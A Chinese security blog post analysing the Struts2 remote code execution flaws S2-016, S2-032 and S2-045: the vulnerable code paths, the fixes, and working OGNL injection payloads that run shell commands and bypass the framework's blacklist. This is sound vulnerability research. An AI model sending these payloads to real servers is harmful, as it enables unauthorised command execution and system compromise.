[旧文系列] Struts2历史高危漏洞系列-part4:S2-016/S2-032/S2-045

关于<旧文系列>

<旧文系列>系列是笔者将以前发到其他地方的技术文章,挑选其中一些值得保留的,迁移到当前博客来。

文章首发于奇安信攻防社区:
https://forum.butian.net/share/601
https://forum.butian.net/share/602
https://forum.butian.net/share/603
时间:2021-08-31


前言

尽管现在struts2用的越来越少了,但对于漏洞研究人员来说,感兴趣的是漏洞的成因和漏洞的修复方式,因此还是有很大的学习价值的。毕竟Struts2作为一个很经典的MVC框架,无论对涉及到的框架知识,还是对过去多年出现的高危漏洞的原理进行学习,都会对之后学习和审计其他同类框架很有帮助。

传送门:
[旧文系列] Struts2历史高危漏洞系列-part1:S2-001/S2-003/S2-005
[旧文系列] Struts2历史高危漏洞系列-part2:S2-007/S2-008/S2-009
[旧文系列] Struts2历史高危漏洞系列-part3:S2-012/S2-013/S2-015


S2-016

官方漏洞公告:

https://cwiki.apache.org/confluence/display/WW/S2-016

影响版本:Struts 2.0.0 - Struts 2.3.15

漏洞复现与分析

在Struts2中,支持在action的请求参数中添加redirect:redirectAction:前缀,在后面加上指定表达式,便可实现路径导航和重定向。但由于没有对前缀后面的表达式进行安全过滤,从而可导致注入任意OGNL表达式。

下面使用struts2 2.3.15版本自带的示例程序struts-blank进行调试分析。
redirect:为例,最简单的PoC redirect:%{11+13},复现如下:
在这里插入图片描述
可以看到表达式%{11+13}被执行了,结果回显在了响应头Location中。

对这些参数前缀的处理,是在org.apache.struts2.dispatcher.mapper.DefaultActionMapper类中,如下图,每个前缀都有与之对应的处理动作。
在这里插入图片描述
下面以redirect:前缀为例子。

先说一下,这个漏洞的触发流程其实是在struts2运行主线的第一阶段,并没有到达第二阶段。什么意思呢,看下图:
在这里插入图片描述
这是一个正常的action请求的处理时序图。

首先第一阶段是对HTTP请求的预处理阶段。这个阶段主要由Struts2完成,其主要职责是与Web容器打交道,将HTTP请求处理成为普通的Java对象。

而第二阶段,则是XWork事件处理阶段。程序的执行控制权在此时交给了XWork框架,其主要职责是对请求进行核心逻辑处理。

struts2接收到请求后,先到达StrutsPrepareAndExecuteFilter#doFilter()方法中,在该方法中,会根据request对象来获取ActionMapping对象,如下图:
在这里插入图片描述
在获取ActionMapping对象的过程中,会调用DefaultActionMapper#handleSpecialParameters()方法去处理特殊的参数
,比如包含了redirect:redirectAction:等前缀的参数,具体的处理动作在对应的ParameterAction#execute()方法里完成,如下图:
在这里插入图片描述
在这里插入图片描述
可以看到,在redirect:前缀对应的处理动作中,往ActionMapping对象中放置了一个Result对象:ServletRedirectResult对象,并且将前缀后面的OGNL表达式字符串赋值给该Result对象的location属性中。

获取到ActionMapping属性后,随着运行主线的第一阶段,到达Dispatcher#serviceAction()方法。在该方法中,会判断在ActionMapping对象的result属性是否为null,如果为null,则进入运行主线的第二阶段。然而,前面在处理redirect:参数前缀时,将一个ServletRedirectResult对象赋值给了ActionMappingresult属性,所以这里不会进入第二阶段,而是直接开始调度Result对象。
在这里插入图片描述
继续跟进,看到了熟悉的TextParseUtil.translateVariables()方法。后面的方法执行流程就跟S2-015的vuln-1一样了,这里不再展开。

可回显PoC

xxx.action?redirect:%{#context['xwork.MethodAccessor.denyMethodExecution']=false,
#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),
#f.setAccessible(true),
#f.set(#_memberAccess,true),
#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()),
#wr=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),
#wr.println(#a),#wr.flush(),#wr.close()}

在这里插入图片描述

漏洞修复

通过版本代码比对,在Struts2 2.3.15.1版本中,DefaultActionMapper类里对redirect:redirectAction:前缀的处理代码都删除了。
在这里插入图片描述

S2-032

官方漏洞公告:

https://cwiki.apache.org/confluence/display/WW/S2-032

影响版本:Struts 2.3.20 - Struts Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)

漏洞复现与分析

从漏洞公告可获悉,当Struts2的 动态方法调用(Dynamic Method Invocation) 特性被启用时,可通构造以method:为前缀的OGNL表达式,造成远程代码执行。

下面使用struts2 2.3.28版本自带的示例程序struts-blank进行调试分析。

在部署应用前,需要在struts.xml文件中启用Dynamic Method Invocation特性,同时需要将devMode模式关闭。至于为什么要关闭devMode模式,在下面的调试过程中就能找到答案。
在这里插入图片描述
同S2-016的redirect:redirectAction:前缀一样,对参数前缀method:的处理也是在类org.apache.struts2.dispatcher.mapper.DefaultActionMapper

按照前面在S2-016漏洞分析中提到的Struts2运行主线的流程,跟进到类DefaultActionMapper中对参数前缀为method:时的处理,如下图,只有当Dynamic Method Invocation 特性启用时才会将method:后面带的字符串赋值到ActionMappingmethod属性。
在这里插入图片描述
继续跟进代码到Dispatcher#serviceAction()方法,发现在创建ActionProxy对象的过程中,会对传入的method字符串(即method:前缀后面跟着的字符串)进行HTML字符转义和JS字符转义(这个常用来防止XSS攻击)。因此这次我们构造PoC的时候就不能直接把之前漏洞的PoC拿来用了,得修改一下,比如不能出现单双引号、尖括号等。
在这里插入图片描述
在这里插入图片描述
继续跟进代码,到了调度拦截器执行阶段,当拦截器AnnotationValidationInterceptor执行过程中,会搜索当前action对象中是否有method:前缀后指定的方法。因为我们是要在这里插入恶意OGNL表达式的,所以结果肯定是搜索不到的。当搜索不到时,且当devMode开启时,就会抛出异常,程序因此中断从而无法执行我们注入的OGNL表达式,所以前面提到为什么前提条件还包括不开启devMode模式。如下图:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
最后,在调用action对象的时候,便会对method:前缀后面的OGNL表达式进行计算,如下图:
在这里插入图片描述
这里要注意OnglUtil.getValue()的第一个参数,methodName后面拼接了一个圆括号(),故在构造PoC时,要在注入的OGNL表达式中,最后一个得是方法调用,且去掉圆括号。

可回显PoC

从上面的调试分析可知,会对method:前缀后面的字符串进行HTML字符和JS字符转义,所以这里不能使用#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')这种方式来访问_memberAccessallowStaticMethodAccess属性,因为单引号会被转义。执行命令Runtime#exec('id')同理。

这里使用@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS#_memberAccess重置为默认对象DefaultMemberAccessDefaultMemberAccess不会禁止执行Java静态方法。

而命令参数则利用上下文对象contextparameters属性去读取。

综上,可回显PoC如下:

/xxxx.action?method:#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,
#res=@org.apache.struts2.ServletActionContext@getResponse(),
#w=#res.getWriter(),
#w.println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(#parameters.cmd[0]).getInputStream())),
#w.flush(),
#w.close&cmd=uname -a

在这里插入图片描述

漏洞修复

通过版本比对,可以看到在Struts2 2.3.28.1版本中,对method:前缀后面的字符串进行了字符白名单校验,将不在白名单里的字符给去掉。新版本的关键修复代码如下图:
在这里插入图片描述

S2-045

官方漏洞公告:

https://cwiki.apache.org/confluence/display/WW/S2-045

影响版本:Struts 2.3.5-Struts 2.3.31, Struts 2.5-Struts 2.5.10

漏洞复现与分析

从漏洞公告可获悉,如果Content-Type请求头的值表示一个上传类型,但值是无效的,且是一个精心构造的OGNL表达式时,Jakarta Multipart parser这个解析器在对Content-Type处理的过程中,会触发异常,在处理异常信息的时候会计算OGNL表达式,从而造成远程代码执行。

这里使用Struts2 2.3.31版本自带的示例应用struts-blank进行调试分析。

因为得是上传类型,故Content-Type的值包含字符串multipart/form-data

Jakarta Multipart parser解析器对应的类JakartaMultiPartRequest的解析请求的方法parse()方法中下断点。

命中断点后,跟进它的处理,可以看到,当Content-Type请求头的值不是以multipart/开头时,则抛出异常InvalidContentTypeException,同时将Content-Type的值拼接到异常消息字符串中。
在这里插入图片描述
抛出异常后,则在JakartaMultiPartRequest#buildErrorMessage()对异常消息进行处理。
在这里插入图片描述
继续跟进,看到了熟悉的TextParseUtil.translateVariables(),往后就是从异常消息字符串中根据%符号提取OGNL表达式并计算求值,这里不再细说,因为前面分析其他漏洞的文章里已经详细分析过了。
在这里插入图片描述
在这里插入图片描述
下面重点说一下PoC的构造。

可回显PoC

注:关于OGNL表达式的形式,可参考官方文档:
https://commons.apache.org/proper/commons-ognl/language-guide.html

因为Struts2从2.3.28.1版本开始,在OgnlUtil类中,对(e1,e2,e3,e4,...)这种形式的表达式进行了限制,不允许执行。(e1,e2,e3,e4,...)这种形式的表达式会被解析为ASTSequence类型,而ASTSequence#isSequence()永远返回true,从而向上抛出异常,不会继续对表达式进行求值。关键代码如下:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
所以这里换一种表达式形式:(e1).(e2).(e3).(e4)....。这种形式的表达式会被解析为ASTChain类型,没有被限制执行。

所以,构造简单PoC如下:

%{
(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#a=1).
(#b=2*#a).
(#c=2*#b).
(#ret=4*#c).
(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',#ret)).
(multipart/form-data)
}

在这里插入图片描述
要构造命令执行的PoC,首先要将上下文对象context_memberAccess属性重新赋值为DEFAULT_MEMBER_ACCESS。但Struts2 2.3.31的代码里,上下文对象context内部的Map集合已经没有_memberAccess这个键,当然也就无法向之前一样通过#context['_memberAccess']#_memberAccess去访问context_memeberAccess属性。(详见OgnlContextstatic代码块和get(Object key)方法)

但可以通过OgnlContextsetMemberAccess()方法去设置它。然而在此之前,还得做些工作。否则OgnlContext#setMemberAccess()无法执行。为什么呢?这里直接拿网上的漏洞利用工具/脚本里的S2-045漏洞exploit来解释,如下:

%{
(#t='multipart/form-data').
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):
		(
		(#container=#context['com.opensymphony.xwork2.ActionContext.container']).
		(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
		(#ognlUtil.getExcludedPackageNames().clear()).
		(#ognlUtil.getExcludedClasses().clear()).
		(#context.setMemberAccess(#dm)))).
(#cmd='id').
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
(#p=new java.lang.ProcessBuilder(#cmds)).
(#p.redirectErrorStream(true)).
(#process=#p.start()).
(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).
(#ros.flush())
}

在这里插入图片描述

  • 因为版本较旧的Struts2,上下文对象context内部的Map集合里还是存在_memberAccess属性的,同时也可以通过get方法访问,而版本较新的则没有。所以这里使用条件形式的表达式(e1)?(e2):(e3)来实现版本的兼容。
  • 这里在执行#context.setMemberAccess()前,为什么要先调用#ognlUtil.getExcludedPackageNames().clear()#ognlUtil.getExcludedClasses().clear()呢?原因是在较新的Struts2版本中,默认情况下,会通过类名和包名黑名单的形式禁止OGNL表达式中某些类的方法调用。

Struts2 2.3.31里的类名、包名的黑名单如下图所示。
在这里插入图片描述
对黑名单的读取,是在OgnlValueStack#setOgnlUtil()方法中,如下图:
在这里插入图片描述
可以看到,连OgnlContext都在黑名单中,所以必须得先将黑名单集合excludedClassesexcludedPackageNames给清空,同时又不能使用黑名单里的类去调用方法。故这个exploit给了一个思路:

先通过#container=#context['com.opensymphony.xwork2.ActionContext.container']来获取ContainerImpl对象,通过ContainerImpl#getInstance()方法来获取OgnlUtil对象,而OgnlUtil并不在黑名单中,所以再通过#ognlUtil.getExcludedPackageNames().clear()#ognlUtil.getExcludedClasses().clear()来清空存储黑名单的集合。清除后,上下文对象context就可以调用setMemberAccess()方法去重置_memberAccess属性了。

漏洞修复

在Struts2 2.3.32中,JakartaMultiPartRequest#buildErrorMessage()把异常信息传入了LocalizedTextUtil#findText()方法的args参数的位置,不再传到defaultMessage参数的位置。
在这里插入图片描述

Reference

[1] hxxp://vulapps.evalbug.com/tags/#struts2
[2] hxxps://github.com/vulhub/vulhub/tree/master/struts2
[3] hxxps://securitylab.github.com/research/ognl-apache-struts-exploit-CVE-2018-11776/
[4] hxxps://securitylab.github.com/research/apache-struts-CVE-2018-11776/
[5] 《Struts2技术内幕:深入解析Struts2架构设计与实现原理》- 作者:陆舟
[6] hxxps://i.blackhat.com/USA-20/Wednesday/us-20-Munoz-Room-For-Escape-Scribbling-Outside-The-Lines-Of-Template-Security-wp.pdf

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值